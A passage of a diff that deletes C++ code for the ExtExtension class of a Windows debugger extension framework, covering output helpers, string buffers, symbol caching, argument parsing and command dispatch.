- va_start(Args, Format);
- m_Control->OutputVaList(DEBUG_OUTPUT_WARNING, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Err(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control->OutputVaList(DEBUG_OUTPUT_ERROR, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Verb(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control->OutputVaList(DEBUG_OUTPUT_VERBOSE, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Out(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->OutputVaListWide(m_OutMask, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Warn(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->OutputVaListWide(DEBUG_OUTPUT_WARNING, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Err(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->OutputVaListWide(DEBUG_OUTPUT_ERROR, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Verb(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->OutputVaListWide(DEBUG_OUTPUT_VERBOSE, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Dml(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,
- m_OutMask, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::DmlWarn(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,
- DEBUG_OUTPUT_WARNING, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::DmlErr(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,
- DEBUG_OUTPUT_ERROR, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::DmlVerb(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control->ControlledOutputVaList(DEBUG_OUTCTL_AMBIENT_DML,
- DEBUG_OUTPUT_VERBOSE, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Dml(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,
- m_OutMask,
- Format,
- Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::DmlWarn(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,
- DEBUG_OUTPUT_WARNING,
- Format,
- Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::DmlErr(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,
- DEBUG_OUTPUT_ERROR,
- Format,
- Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::DmlVerb(__in PCWSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control4->ControlledOutputVaListWide(DEBUG_OUTCTL_AMBIENT_DML,
- DEBUG_OUTPUT_VERBOSE,
- Format,
- Args);
- va_end(Args);
-}
-
-void
-ExtExtension::WrapLine(void)
-{
- if (m_LeftIndent)
- {
- m_Control->Output(m_OutMask, "\n%*c", m_LeftIndent, ' ');
- }
- else
- {
- m_Control->Output(m_OutMask, "\n");
- }
- m_CurChar = m_LeftIndent;
-}
-
-void
-ExtExtension::OutWrapStr(__in PCSTR String)
-{
- if (m_TestWrap)
- {
- m_TestWrapChars += strlen(String);
- return;
- }
-
- while (*String)
- {
- //
- // Collect characters until the end or
- // until we run out of output width.
- //
-
- PCSTR Scan = String;
- PCSTR LastSpace = NULL;
- while (*Scan &&
- *Scan != '\n' &&
- (!m_AllowWrap ||
- !LastSpace ||
- m_CurChar < m_OutputWidth))
- {
- if (*Scan == ' ')
- {
- LastSpace = Scan;
- }
-
- m_CurChar++;
- Scan++;
- }
-
- if (m_AllowWrap &&
- LastSpace &&
- ((*Scan && *Scan != '\n') ||
- m_CurChar >= m_OutputWidth))
- {
- // We ran out of room, so dump output up
- // to the last space.
- Scan = LastSpace;
- }
-
- m_Control->Output(m_OutMask, "%.*s", (int)(Scan - String), String);
-
- if (!*Scan)
- {
- break;
- }
-
- //
- // Wrap to the next line.
- //
-
- WrapLine();
- String = Scan + 1;
- while (*String == ' ')
- {
- String++;
- }
- }
-}
-
-void WINAPIV
-ExtExtension::OutWrapVa(__in PCSTR Format,
- __in va_list Args)
-{
- StringCbVPrintf(s_String, sizeof(s_String), Format, Args);
- OutWrapStr(s_String);
-}
-
-void WINAPIV
-ExtExtension::OutWrap(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- OutWrapVa(Format, Args);
- va_end(Args);
-}
-
-PSTR
-ExtExtension::RequestCircleString(__in ULONG Chars)
-{
- if (Chars > EXT_DIMA(s_CircleStringBuffer))
- {
- ThrowInvalidArg("Circle string buffer overflow, %u chars", Chars);
- }
-
- if ((ULONG_PTR)(s_CircleString - s_CircleStringBuffer) >
- EXT_DIMA(s_CircleStringBuffer) - Chars)
- {
- // String is too long to fit in the remainder, wrap around.
- s_CircleString = s_CircleStringBuffer;
- }
-
- PSTR Str = s_CircleString;
- s_CircleString += Chars;
- return Str;
-}
-
-PSTR
-ExtExtension::CopyCircleString(__in PCSTR Str)
-{
- PSTR Buf;
- ULONG Chars;
-
- Chars = strlen(Str) + 1;
- Buf = RequestCircleString(Chars);
- memcpy(Buf, Str, Chars * sizeof(*Str));
- return Buf;
-}
-
-PSTR
-ExtExtension::PrintCircleStringVa(__in PCSTR Format,
- __in va_list Args)
-{
- StringCbVPrintf(s_String, sizeof(s_String), Format, Args);
- return CopyCircleString(s_String);
-}
-
-PSTR WINAPIV
-ExtExtension::PrintCircleString(__in PCSTR Format,
- ...)
-{
- PSTR Str;
- va_list Args;
-
- va_start(Args, Format);
- Str = PrintCircleStringVa(Format, Args);
- va_end(Args);
- return Str;
-}
-
-void
-ExtExtension::SetAppendBuffer(__in_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars)
-{
- m_AppendBuffer = Buffer;
- m_AppendBufferChars = BufferChars;
- m_AppendAt = Buffer;
-}
-
-void
-ExtExtension::AppendBufferString(__in PCSTR Str)
-{
- ULONG Chars;
-
- Chars = strlen(Str) + 1;
- if (Chars > m_AppendBufferChars ||
- (ULONG_PTR)(m_AppendAt - m_AppendBuffer) > m_AppendBufferChars - Chars)
- {
- ThrowStatus(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW),
- "Append string overflowed");
- }
-
- memcpy(m_AppendAt, Str, Chars * sizeof(*Str));
- // Position next append where it will overwrite the terminator
- // to continue the existing string.
- m_AppendAt += Chars - 1;
-}
-
-void
-ExtExtension::AppendStringVa(__in PCSTR Format,
- __in va_list Args)
-{
- if (m_AppendBuffer >= s_String &&
- m_AppendBuffer <= s_String + (EXT_DIMA(s_String) - 1))
- {
- ThrowInvalidArg("Append string buffer cannot use s_String");
- }
-
- StringCbVPrintf(s_String, sizeof(s_String), Format, Args);
- AppendBufferString(s_String);
-}
-
-void WINAPIV
-ExtExtension::AppendString(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- AppendStringVa(Format, Args);
- va_end(Args);
-}
-
-void
-ExtExtension::SetCallStatus(__in HRESULT Status)
-{
- // If an error has already been saved don't override it.
- if (!FAILED(m_CallStatus))
- {
- m_CallStatus = Status;
- }
-}
-
-ULONG
-ExtExtension::GetCachedSymbolTypeId(__inout PULONG64 Cookie,
- __in PCSTR Symbol,
- __out PULONG64 ModBase)
-{
- HRESULT Status;
- DEBUG_CACHED_SYMBOL_INFO Info;
-
- //
- // Check for an existing cache entry.
- //
-
- if ((Status = m_Advanced2->
- Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO,
- Cookie,
- sizeof(*Cookie),
- &Info,
- sizeof(Info),
- NULL)) == S_OK)
- {
- *ModBase = Info.ModBase;
- return Info.Id;
- }
-
- //
- // No entry in cache, find the data the hard way.
- //
-
- ZeroMemory(&Info, sizeof(Info));
-
- if ((Status = m_Symbols->
- GetSymbolTypeId(Symbol,
- &Info.Id,
- &Info.ModBase)) != S_OK)
- {
- ThrowStatus(Status, "Unable to get type ID of '%s'",
- Symbol);
- }
-
- *ModBase = Info.ModBase;
-
- //
- // Add recovered info to cache.
- // We don't care if this fails as
- // cache addition is not required,
- // we just zero the cookie.
- //
-
- if (m_Advanced2->
- Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO,
- &Info,
- sizeof(Info),
- Cookie,
- sizeof(*Cookie),
- NULL) != S_OK)
- {
- *Cookie = 0;
- }
-
- return Info.Id;
-}
-
-ULONG
-ExtExtension::GetCachedFieldOffset(__inout PULONG64 Cookie,
- __in PCSTR Type,
- __in PCSTR Field,
- __out_opt PULONG64 TypeModBase,
- __out_opt PULONG TypeId)
-{
- HRESULT Status;
- DEBUG_CACHED_SYMBOL_INFO Info;
-
- //
- // Check for an existing cache entry.
- //
-
- if ((Status = m_Advanced2->
- Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO,
- Cookie,
- sizeof(*Cookie),
- &Info,
- sizeof(Info),
- NULL)) == S_OK)
- {
- if (TypeModBase)
- {
- *TypeModBase = Info.ModBase;
- }
- if (TypeId)
- {
- *TypeId = Info.Id;
- }
- return Info.Arg3;
- }
-
- //
- // No entry in cache, find the data the hard way.
- //
-
- ZeroMemory(&Info, sizeof(Info));
-
- if ((Status = m_Symbols->
- GetSymbolTypeId(Type,
- &Info.Id,
- &Info.ModBase)) != S_OK)
- {
- ThrowStatus(Status, "Unable to get type ID of '%s'",
- Type);
- }
- if ((Status = m_Symbols->
- GetFieldOffset(Info.ModBase,
- Info.Id,
- Field,
- &Info.Arg3)) != S_OK)
- {
- ThrowStatus(Status, "Unable to get field '%s.%s'",
- Type, Field);
- }
-
- if (TypeModBase)
- {
- *TypeModBase = Info.ModBase;
- }
- if (TypeId)
- {
- *TypeId = Info.Id;
- }
-
- //
- // Add recovered info to cache.
- // We don't care if this fails as
- // cache addition is not required,
- // we just zero the cookie.
- //
-
- if (m_Advanced2->
- Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO,
- &Info,
- sizeof(Info),
- Cookie,
- sizeof(*Cookie),
- NULL) != S_OK)
- {
- *Cookie = 0;
- }
-
- return Info.Arg3;
-}
-
-bool
-ExtExtension::GetCachedSymbolInfo(__in ULONG64 Cookie,
- __out PDEBUG_CACHED_SYMBOL_INFO Info)
-{
- HRESULT Status;
-
- if ((Status = m_Advanced2->
- Request(DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO,
- &Cookie,
- sizeof(Cookie),
- Info,
- sizeof(*Info),
- NULL)) == S_OK)
- {
- return true;
- }
-
- return false;
-}
-
-bool
-ExtExtension::AddCachedSymbolInfo(__in PDEBUG_CACHED_SYMBOL_INFO Info,
- __in bool ThrowFailure,
- __out PULONG64 Cookie)
-{
- HRESULT Status;
-
- if ((Status = m_Advanced2->
- Request(DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO,
- Info,
- sizeof(*Info),
- Cookie,
- sizeof(*Cookie),
- NULL)) == S_OK)
- {
- return true;
- }
-
- if (ThrowFailure)
- {
- ThrowStatus(Status, "Unable to cache symbol info");
- }
-
- return false;
-}
-
-void
-ExtExtension::GetModuleImagehlpInfo(__in ULONG64 ModBase,
- __out struct _IMAGEHLP_MODULEW64* Info)
-{
- HRESULT Status;
-
- ZeroMemory(Info, sizeof(*Info));
- Info->SizeOfStruct = sizeof(*Info);
-
- if ((Status = m_Advanced2->
- GetSymbolInformation(DEBUG_SYMINFO_IMAGEHLP_MODULEW64,
- ModBase,
- 0,
- Info,
- Info->SizeOfStruct,
- NULL,
- NULL,
- 0,
- NULL)) != S_OK)
- {
- ThrowStatus(Status, "Unable to retrieve module info");
- }
-}
-
-bool
-ExtExtension::ModuleHasGlobalSymbols(__in ULONG64 ModBase)
-{
- IMAGEHLP_MODULEW64 Info;
-
- GetModuleImagehlpInfo(ModBase, &Info);
- return Info.GlobalSymbols != FALSE;
-}
-
-bool
-ExtExtension::ModuleHasTypeInfo(__in ULONG64 ModBase)
-{
- IMAGEHLP_MODULEW64 Info;
-
- GetModuleImagehlpInfo(ModBase, &Info);
- return Info.TypeInfo != FALSE;
-}
-
-PCSTR
-ExtExtension::GetUnnamedArgStr(__in ULONG Index)
-{
- if (Index >= m_NumUnnamedArgs)
- {
- ThrowInvalidArg("Invalid unnamed argument index %u, only given %u",
- Index + 1, m_NumUnnamedArgs);
- }
- if (!m_Args[Index].StrVal)
- {
- ThrowInvalidArg("Unnamed argument index %u is not a string",
- Index + 1);
- }
-
- return m_Args[Index].StrVal;
-}
-
-ULONG64
-ExtExtension::GetUnnamedArgU64(__in ULONG Index)
-{
- if (Index >= m_NumUnnamedArgs)
- {
- ThrowInvalidArg("Invalid unnamed argument index %u, only given %u",
- Index + 1, m_NumUnnamedArgs);
- }
- if (m_Args[Index].StrVal)
- {
- ThrowInvalidArg("Unnamed argument index %u is not a number",
- Index + 1);
- }
-
- return m_Args[Index].NumVal;
-}
-
-PCSTR
-ExtExtension::GetArgStr(__in PCSTR Name,
- __in bool Required)
-{
- ArgVal* Arg = FindArg(Name, Required);
- if (!Arg)
- {
- return NULL;
- }
- if (!Arg->StrVal)
- {
- ThrowInvalidArg("Argument /%s is not a string",
- Name);
- }
- return Arg->StrVal;
-}
-
-ULONG64
-ExtExtension::GetArgU64(__in PCSTR Name,
- __in bool Required)
-{
- ArgVal* Arg = FindArg(Name, Required);
- if (!Arg)
- {
- return 0;
- }
- if (Arg->StrVal)
- {
- ThrowInvalidArg("Argument /%s is not a number",
- Name);
- }
- return Arg->NumVal;
-}
-
-bool
-ExtExtension::SetUnnamedArg(__in ULONG Index,
- __in_opt PCSTR StrArg,
- __in ULONG64 NumArg,
- __in bool OnlyIfUnset)
-{
- ExtCommandDesc::ArgDesc* Check = m_CurCommand->FindUnnamedArg(Index);
- if (!Check)
- {
- ThrowInvalidArg("Unnamed argument index %u too large", Index);
- }
-
- ArgVal* Val = NULL;
-
- if (HasUnnamedArg(Index))
- {
- if (OnlyIfUnset)
- {
- return false;
- }
-
- Val = &m_Args[Index];
- }
-
- SetRawArgVal(Check, Val, true, StrArg, false, NumArg);
- return true;
-}
-
-bool
-ExtExtension::SetArg(__in PCSTR Name,
- __in_opt PCSTR StrArg,
- __in ULONG64 NumArg,
- __in bool OnlyIfUnset)
-{
- ExtCommandDesc::ArgDesc* Check = m_CurCommand->FindArg(Name);
- if (!Check)
- {
- ThrowInvalidArg("No argument named '%s'", Name);
- }
-
- ArgVal* Val = FindArg(Name, false);
-
- if (Val)
- {
- if (OnlyIfUnset)
- {
- return false;
- }
- }
-
- SetRawArgVal(Check, Val, true, StrArg, false, NumArg);
- return true;
-}
-
-PCSTR
-ExtExtension::GetExpr64(__in PCSTR Str,
- __in bool Signed,
- __in ULONG64 Limit,
- __out PULONG64 Val)
-{
- HRESULT Status;
- DEBUG_VALUE FullVal;
- ULONG EndIdx;
-
- if ((Status = m_Control->
- Evaluate(Str, DEBUG_VALUE_INT64, &FullVal, &EndIdx)) != S_OK)
- {
- ExtStatusException Ex(Status);
-
- Ex.PrintMessage(s_String, EXT_DIMA(s_String),
- "Unable to evaluate expression '%s'", Str);
- throw Ex;
- }
- if ((!Signed &&
- FullVal.I64 > Limit) ||
- (Signed &&
- ((LONG64)FullVal.I64 < -(LONG64)Limit ||
- (LONG64)FullVal.I64 > (LONG64)Limit)))
- {
- ThrowInvalidArg("Result overflow in expression '%s'", Str);
- }
-
- *Val = FullVal.I64;
- Str += EndIdx;
-
- while (IsSpace(*Str))
- {
- Str++;
- }
-
- return Str;
-}
-
-void WINAPIV
-ExtExtension::ThrowInvalidArg(__in PCSTR Format,
- ...)
-{
- ExtInvalidArgumentException Ex("");
- va_list Args;
-
- va_start(Args, Format);
- Ex.PrintMessageVa(s_String, EXT_DIMA(s_String),
- Format, Args);
- va_end(Args);
- throw Ex;
-}
-
-void WINAPIV
-ExtExtension::ThrowRemote(__in HRESULT Status,
- __in PCSTR Format,
- ...)
-{
- ExtRemoteException Ex(Status, "");
- va_list Args;
-
- va_start(Args, Format);
- Ex.PrintMessageVa(s_String, EXT_DIMA(s_String),
- Format, Args);
- va_end(Args);
- throw Ex;
-}
-
-void WINAPIV
-ExtExtension::ThrowStatus(__in HRESULT Status,
- __in PCSTR Format,
- ...)
-{
- ExtStatusException Ex(Status);
- va_list Args;
-
- va_start(Args, Format);
- Ex.PrintMessageVa(s_String, EXT_DIMA(s_String),
- Format, Args);
- va_end(Args);
- throw Ex;
-}
-
-void
-ExtExtension::ExInitialize(void)
-{
- if (m_ExInitialized)
- {
- return;
- }
-
- m_ExInitialized = true;
-
- //
- // Special initialization pass that
- // is done when output can be produced
- // and exceptions thrown.
- // This pass allows verbose feedback on
- // errors, as opposed to the DLL-load Initialize().
- //
-}
-
-#define REQ_IF(_If, _Member) \
- if ((Status = Start->QueryInterface(__uuidof(_If), \
- (PVOID*)&_Member)) != S_OK) \
- { \
- goto Exit; \
- }
-#define OPT_IF(_If, _Member) \
- if ((Status = Start->QueryInterface(__uuidof(_If), \
- (PVOID*)&_Member)) != S_OK) \
- { \
- _Member.Set(NULL); \
- }
-
-HRESULT
-ExtExtension::Query(__in PDEBUG_CLIENT Start)
-{
- HRESULT Status;
-
- // We don't support nested queries.
- if (*&m_Advanced != NULL)
- {
- return E_UNEXPECTED;
- }
-
- m_ArgCopy = NULL;
-
- REQ_IF(IDebugAdvanced, m_Advanced);
- REQ_IF(IDebugClient, m_Client);
- REQ_IF(IDebugControl, m_Control);
- REQ_IF(IDebugDataSpaces, m_Data);
- REQ_IF(IDebugRegisters, m_Registers);
- REQ_IF(IDebugSymbols, m_Symbols);
- REQ_IF(IDebugSystemObjects, m_System);
-
- OPT_IF(IDebugAdvanced2, m_Advanced2);
- OPT_IF(IDebugAdvanced3, m_Advanced3);
- OPT_IF(IDebugClient2, m_Client2);
- OPT_IF(IDebugClient3, m_Client3);
- OPT_IF(IDebugClient4, m_Client4);
- OPT_IF(IDebugClient5, m_Client5);
- OPT_IF(IDebugControl2, m_Control2);
- OPT_IF(IDebugControl3, m_Control3);
- OPT_IF(IDebugControl4, m_Control4);
- OPT_IF(IDebugDataSpaces2, m_Data2);
- OPT_IF(IDebugDataSpaces3, m_Data3);
- OPT_IF(IDebugDataSpaces4, m_Data4);
- OPT_IF(IDebugRegisters2, m_Registers2);
- OPT_IF(IDebugSymbols2, m_Symbols2);
- OPT_IF(IDebugSymbols3, m_Symbols3);
- OPT_IF(IDebugSystemObjects2, m_System2);
- OPT_IF(IDebugSystemObjects3, m_System3);
- OPT_IF(IDebugSystemObjects4, m_System4);
-
- // If this isn't a dump target GetDumpFormatFlags
- // will fail, so just zero the flags. People
- // checking should check the class and qualifier
- // first so having them zeroed is not a problem.
- if (!m_Control2.IsSet() ||
- m_Control2->GetDumpFormatFlags(&m_DumpFormatFlags) != S_OK)
- {
- m_DumpFormatFlags = 0;
- }
-
- if ((Status = m_Control->
- GetDebuggeeType(&m_DebuggeeClass,
- &m_DebuggeeQual)) != S_OK ||
- (Status = m_Client->
- GetOutputWidth(&m_OutputWidth)) != S_OK ||
- (Status = m_Control->
- GetActualProcessorType(&m_ActualMachine)) != S_OK ||
- (Status = m_Control->
- GetEffectiveProcessorType(&m_Machine)) != S_OK ||
- (Status = m_Control->
- GetPageSize(&m_PageSize)) != S_OK ||
- // IsPointer64Bit check must be last as Status
- // is used to compute the pointer size below.
- FAILED(Status = m_Control->
- IsPointer64Bit()))
- {
- goto Exit;
- }
- if (Status == S_OK)
- {
- m_PtrSize = 8;
- m_OffsetMask = 0xffffffffffffffffUI64;
- }
- else
- {
- m_PtrSize = 4;
- m_OffsetMask = 0xffffffffUI64;
- }
-
- // User targets may fail a processor count request.
- if (m_Control->GetNumberProcessors(&m_NumProcessors) != S_OK)
- {
- m_NumProcessors = 0;
- }
-
- ExtensionApis.nSize = sizeof(ExtensionApis);
- Status = m_Control->GetWindbgExtensionApis64(&ExtensionApis);
- if (Status == RPC_E_CALL_REJECTED)
- {
- // GetWindbgExtensionApis64 is not remotable,
- // and this particular failure means we
- // are running remotely. Go on without any
- // wdbgexts support.
- ZeroMemory(&ExtensionApis, sizeof(ExtensionApis));
- m_IsRemote = true;
- Status = S_OK;
- }
- else
- {
- m_IsRemote = false;
- }
-
- RefreshOutputCallbackFlags();
-
- Exit:
- if (Status != S_OK)
- {
- if (*&m_Control != NULL)
- {
- m_Control->Output(DEBUG_OUTPUT_ERROR,
- "ERROR: Unable to query interfaces, 0x%08x\n",
- Status);
- }
- Release();
- }
- return Status;
-}
-
-void
-ExtExtension::Release(void)
-{
- EXT_RELEASE(m_Advanced);
- EXT_RELEASE(m_Client);
- EXT_RELEASE(m_Control);
- EXT_RELEASE(m_Data);
- EXT_RELEASE(m_Registers);
- EXT_RELEASE(m_Symbols);
- EXT_RELEASE(m_System);
- EXT_RELEASE(m_Advanced2);
- EXT_RELEASE(m_Advanced3);
- EXT_RELEASE(m_Client2);
- EXT_RELEASE(m_Client3);
- EXT_RELEASE(m_Client4);
- EXT_RELEASE(m_Client5);
- EXT_RELEASE(m_Control2);
- EXT_RELEASE(m_Control3);
- EXT_RELEASE(m_Control4);
- EXT_RELEASE(m_Data2);
- EXT_RELEASE(m_Data3);
- EXT_RELEASE(m_Data4);
- EXT_RELEASE(m_Registers2);
- EXT_RELEASE(m_Symbols2);
- EXT_RELEASE(m_Symbols3);
- EXT_RELEASE(m_System2);
- EXT_RELEASE(m_System3);
- EXT_RELEASE(m_System4);
- ZeroMemory(&ExtensionApis, sizeof(ExtensionApis));
- free(m_ArgCopy);
- m_ArgCopy = NULL;
- m_CurCommand = NULL;
-}
-
-HRESULT
-ExtExtension::CallCommandMethod(__in ExtCommandDesc* Desc,
- __in_opt PCSTR Args)
-{
- HRESULT Status;
-
- try
- {
- ExInitialize();
- Desc->ExInitialize(this);
-
- ParseArgs(Desc, Args);
-
- m_CallStatus = S_OK;
- // Release NULLs this out.
- m_CurCommand = Desc;
-
- (this->*Desc->m_Method)();
-
- Status = m_CallStatus;
- }
- catch(ExtInterruptException Ex)
- {
- m_Control->Output(DEBUG_OUTPUT_ERROR, "!%s: %s.\n",
- Desc->m_Name, Ex.GetMessage());
- Status = Ex.GetStatus();
- }
- catch(ExtException Ex)
- {
- if (Ex.GetMessage())
- {
- if (FAILED(Ex.GetStatus()))
- {
- m_Control->
- Output(DEBUG_OUTPUT_ERROR,
- "ERROR: !%s: extension exception "
- "0x%08x.\n \"%s\"\n",
- Desc->m_Name, Ex.GetStatus(), Ex.GetMessage());
- }
- else
- {
- m_Control->Output(DEBUG_OUTPUT_NORMAL, "!%s: %s\n",
- Desc->m_Name, Ex.GetMessage());
- }
- }
- else if (Ex.GetStatus() != DEBUG_EXTENSION_CONTINUE_SEARCH &&
- Ex.GetStatus() != DEBUG_EXTENSION_RELOAD_EXTENSION &&
- FAILED(Ex.GetStatus()))
- {
- m_Control->
- Output(DEBUG_OUTPUT_ERROR,
- "ERROR: !%s: extension exception 0x%08x.\n",
- Desc->m_Name, Ex.GetStatus());
- }
- Status = Ex.GetStatus();
- }
-
- return Status;
-}
-
-HRESULT
-ExtExtension::CallCommand(__in ExtCommandDesc* Desc,
- __in PDEBUG_CLIENT Client,
- __in_opt PCSTR Args)
-{
- HRESULT Status = Query(Client);
- if (Status != S_OK)
- {
- return Status;
- }
-
- // Use a hard SEH try/finally to guarantee that
- // Release always occurs.
- __try
- {
- Status = CallCommandMethod(Desc, Args);
- }
- __finally
- {
- Release();
- }
-
- return Status;
-}
-
-HRESULT
-ExtExtension::CallKnownStructMethod(__in ExtKnownStruct* Struct,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __out_ecount(*BufferChars) PSTR Buffer,
- __inout PULONG BufferChars)
-{
- HRESULT Status;
-
- try
- {
- ExInitialize();
- SetAppendBuffer(Buffer, *BufferChars);
-
- m_CallStatus = S_OK;
-
- (this->*Struct->Method)(Struct->TypeName, Flags, Offset);
-
- Status = m_CallStatus;
- }
- catch(ExtException Ex)
- {
- Status = Ex.GetStatus();
- }
-
- return Status;
-}
-
-HRESULT
-ExtExtension::CallKnownStruct(__in PDEBUG_CLIENT Client,
- __in ExtKnownStruct* Struct,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __out_ecount(*BufferChars) PSTR Buffer,
- __inout PULONG BufferChars)
-{
- HRESULT Status = Query(Client);
- if (Status != S_OK)
- {
- return Status;
- }
-
- // Use a hard SEH try/finally to guarantee that
- // Release always occurs.
- __try
- {
- Status = CallKnownStructMethod(Struct, Flags, Offset,
- Buffer, BufferChars);
- }
- __finally
- {
- Release();
- }
-
- return Status;
-}
-
-HRESULT
-ExtExtension::HandleKnownStruct(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in ULONG64 Offset,
- __in_opt PCSTR TypeName,
- __out_ecount_opt(*BufferChars) PSTR Buffer,
- __inout_opt PULONG BufferChars)
-{
- HRESULT Status;
- ExtKnownStruct* Struct = m_KnownStructs;
-
- if (Flags == DEBUG_KNOWN_STRUCT_GET_NAMES &&
- Buffer != NULL &&
- *BufferChars > 0)
- {
- ULONG CharsNeeded;
-
- //
- // Return names of known structs packed in
- // the output buffer.
- //
-
- // Save a character for the double terminator.
- (*BufferChars)--;
- CharsNeeded = 1;
-
- Status = S_OK;
- while (Struct && Struct->TypeName)
- {
- ULONG Chars = strlen(Struct->TypeName) + 1;
- CharsNeeded += Chars;
-
- if (Status != S_OK || *BufferChars < Chars)
- {
- Status = S_FALSE;
- }
- else
- {
- memcpy(Buffer, Struct->TypeName, Chars * sizeof(*Buffer));
- Buffer += Chars;
- (*BufferChars) -= Chars;
- }
-
- Struct++;
- }
-
- *Buffer = 0;
- *BufferChars = CharsNeeded;
- }
- else if (Flags == DEBUG_KNOWN_STRUCT_GET_SINGLE_LINE_OUTPUT &&
- Buffer != NULL &&
- BufferChars > 0)
- {
- //
- // Dispatch request to method.
- //
-
- Status = E_NOINTERFACE;
- while (Struct && Struct->TypeName)
- {
- if (!strcmp(TypeName, Struct->TypeName))
- {
- Status = CallKnownStruct(Client, Struct, Flags, Offset,
- Buffer, BufferChars);
- break;
- }
-
- Struct++;
- }
- }
- else if (Flags == DEBUG_KNOWN_STRUCT_SUPPRESS_TYPE_NAME)
- {
- //
- // Determine if formatting method suppresses the type name.
- //
-
- Status = E_NOINTERFACE;
- while (Struct && Struct->TypeName)
- {
- if (!strcmp(TypeName, Struct->TypeName))
- {
- Status = Struct->SuppressesTypeName ? S_OK : S_FALSE;
- break;
- }
-
- Struct++;
- }
- }
- else
- {
- Status = E_INVALIDARG;
- }
-
- return Status;
-}
-
-HRESULT
-ExtExtension::HandleQueryValueNames(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __out_ecount(BufferChars) PWSTR Buffer,
- __in ULONG BufferChars,
- __out PULONG BufferNeeded)
-{
- HRESULT Status;
-
- UNREFERENCED_PARAMETER(Client);
- UNREFERENCED_PARAMETER(Flags);
-
- if (Buffer == NULL ||
- BufferChars < 1)
- {
- return E_INVALIDARG;
- }
-
- ExtProvidedValue* ExtVal = m_ProvidedValues;
- ULONG CharsNeeded;
-
- //
- // Return names of values packed in
- // the output buffer.
- //
-
- // Save a character for the double terminator.
- BufferChars--;
- CharsNeeded = 1;
-
- Status = S_OK;
- while (ExtVal && ExtVal->ValueName)
- {
- ULONG Chars = wcslen(ExtVal->ValueName) + 1;
- CharsNeeded += Chars;
-
- if (Status != S_OK || BufferChars < Chars)
- {
- Status = S_FALSE;
- }
- else
- {
- memcpy(Buffer, ExtVal->ValueName, Chars * sizeof(*Buffer));
- Buffer += Chars;
- BufferChars -= Chars;
- }
-
- ExtVal++;
- }
-
- *Buffer = 0;
- *BufferNeeded = CharsNeeded;
-
- return Status;
-}
-
-HRESULT
-ExtExtension::CallProvideValueMethod(__in ExtProvidedValue* ExtVal,
- __in ULONG Flags,
- __out PULONG64 Value,
- __out PULONG64 TypeModBase,
- __out PULONG TypeId,
- __out PULONG TypeFlags)
-{
- HRESULT Status;
-
- try
- {
- ExInitialize();
-
- m_CallStatus = S_OK;
-
- (this->*ExtVal->Method)(Flags, ExtVal->ValueName,
- Value, TypeModBase, TypeId, TypeFlags);
-
- Status = m_CallStatus;
- }
- catch(ExtException Ex)
- {
- Status = Ex.GetStatus();
- }
-
- return Status;
-}
-
-HRESULT
-ExtExtension::HandleProvideValue(__in PDEBUG_CLIENT Client,
- __in ULONG Flags,
- __in PCWSTR Name,
- __out PULONG64 Value,
- __out PULONG64 TypeModBase,
- __out PULONG TypeId,
- __out PULONG TypeFlags)
-{
- HRESULT Status = Query(Client);
- if (Status != S_OK)
- {
- return Status;
- }
-
- // Use a hard SEH try/finally to guarantee that
- // Release always occurs.
- __try
- {
- ExtProvidedValue* ExtVal = m_ProvidedValues;
